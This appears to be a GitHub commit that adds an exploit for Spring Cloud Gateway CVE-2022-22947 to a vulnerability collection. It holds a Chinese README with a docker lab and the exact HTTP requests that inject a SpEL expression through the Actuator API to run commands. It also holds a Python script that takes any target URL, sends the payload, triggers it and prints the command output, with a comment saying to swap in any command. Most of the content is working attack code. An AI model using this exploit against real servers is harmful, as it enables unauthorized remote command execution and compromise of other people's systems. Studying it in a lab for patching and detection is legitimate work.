Skip to content

Commit

Permalink
add Spring Cloud Gateway CVE-2022-22947 exp
Browse files Browse the repository at this point in the history
  • Loading branch information
helloexp committed Mar 4, 2022
1 parent 7bcd5d7 commit 22fd6b5
Show file tree
Hide file tree
Showing 6 changed files with 140 additions and 0 deletions.
87 changes: 87 additions & 0 deletions 21-Spring Cloud/Spring Cloud Gateway CVE-2022-22947/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。


## 漏洞环境

执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:

```
docker-compose up -d
```

服务启动后,访问`http://your-ip:8080`即可看到演示页面,这个页面的上游就是example.com。

## 漏洞复现


1. 首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

```
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
```
![image1](images/1.png)

2. 发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

```
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

![image1](images/2.png)

3. 发送如下数据包即可查看执行结果:

```
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

![image1](images/3.png)

4. 最后,发送如下数据包清理现场,删除所添加的路由:

```
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```
![image1](images/4.png)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
import requests
import json
import sys


def exec(url):

headers1 = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}

headers2 = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}

## command to execute replace "id" in payload

payload = '''{\r
"id": "hacktest",\r
"filters": [{\r
"name": "AddResponseHeader",\r
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
}],\r
"uri": "http://example.com",\r
"order": 0\r
}'''




re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
print(re3.text)


if __name__ == "__main__":
print(''' CVE-2022-22947 exploit
usage: python3 test.py url
''')
if(len(sys.argv)>1):
url = sys.argv[1]
exec(url)
else:
exit()

0 comments on commit 22fd6b5

Please sign in to comment.